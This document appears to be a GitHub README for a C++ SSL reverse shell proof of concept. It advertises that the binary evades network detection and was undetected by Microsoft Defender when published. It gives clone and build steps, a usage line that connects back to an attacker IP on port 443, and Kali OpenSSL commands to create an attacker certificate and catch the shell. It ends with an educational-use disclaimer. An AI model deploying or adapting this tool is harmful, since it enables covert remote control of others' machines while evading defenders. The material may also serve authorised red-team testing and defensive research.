SSL C++ Reverse Shell

Overview

When it comes to SSL/TLS reverse shells, the publicly available options are often limited to:

• Using msfvenom to generate an HTTPS reverse shell (Signatured).
• Using a PowerShell / Python payload (high level languages).

Why Do We Need One?

Using a standard reverse shell often results in unencrypted traffic, which can be easily flagged by Network Detection and Response (NDR) systems or firewalls. These tools inspect network traffic and can identify remote code execution patterns, blocking the binary and alerting defenders.

An encrypted reverse shell helps evade such detection by:

1. Encrypting all communication, making it harder for network tools to inspect the traffic.
2. Using SSL to blend in with legitimate HTTPS traffic.

To address this gap, I created a simple C++ SSL Reverse Shell POC (commented and explained):

• Undetected by Microsoft Defender and some other AV solutions at the time of publishing.
• Enables secure communication via SSL, reducing the chance of detection.

Note: I tested the binary against a limited set of antivirus solutions, and results may vary across environments.

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Setup Instructions

Follow these steps to set up the project:

1. Download the Necessary Files:

   • Clone the repository:

     git clone https://github.com/V-i-x-x/SSLReverseShell.git

   • Download OpenSSLWin64.zip (linked in the repository).

2. Extract OpenSSL Libraries:

   • Unzip OpenSSLWin64.zip into a folder of your choice.
     For example, in the project, I placed it in the C:\ directory.

     C:\OpenSSLWin64
     

3. Compile the Project:

   • Ensure the project includes the OpenSSL libraries for successful compilation into a single .exe binary.

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Additional Notes

• OpenSSLWin64: This is the precompiled SSL library required for the project. Ensure it is correctly set up to avoid linking issues.
• Testing: While the binary is undetectable by some AV solutions as of now, this is not guaranteed against all antivirus software or future updates.

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Configuration In Visual Studio

1- Go to C/C++ → Code Generation → Runtime Library. Set this to Multi-threaded (/MT) to ensure that your application links statically against the runtime libraries, which helps in creating a single binary.

2- Configuration Properties > C/C++ > General, add the path to the OpenSSL include directory (C:\OpenSSLWin64\install\include) to Additional Include Directories.

3- Under Configuration Properties > Linker > General, add the path to the OpenSSL library directory (C:\OpenSSLWin64\install\lib) to Additional Library Directories

4- Under Configuration Properties > Linker > Input, add the following to Additional Dependencies: C:\OpenSSLWin64\install\lib\libssl.lib C:\OpenSSLWin64\install\lib\libcrypto.lib

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Usage

.\SSLReverseShell.exe 192.168.33.146 443

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Capture the reverse shell in your Kali OS

1- Generate a New RSA Private Key and Self-Signed Certificate (Containing the Public Key)

openssl req -newkey rsa:2048 -nodes -keyout attacker.key -x509 -days 365 -out attacker.crt

2- Combine the Private Key and Certificate into a PEM File

cat attacker.crt attacker.key > attacker.pem

3- Start an OpenSSL SSL Server on Port 443

openssl s_server -accept 443 -cert attacker.crt -key attacker.key -cipher ALL -quiet

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Disclaimer

This project is for educational purposes only. Unauthorized use of this tool in production or against systems without explicit permission is strictly prohibited.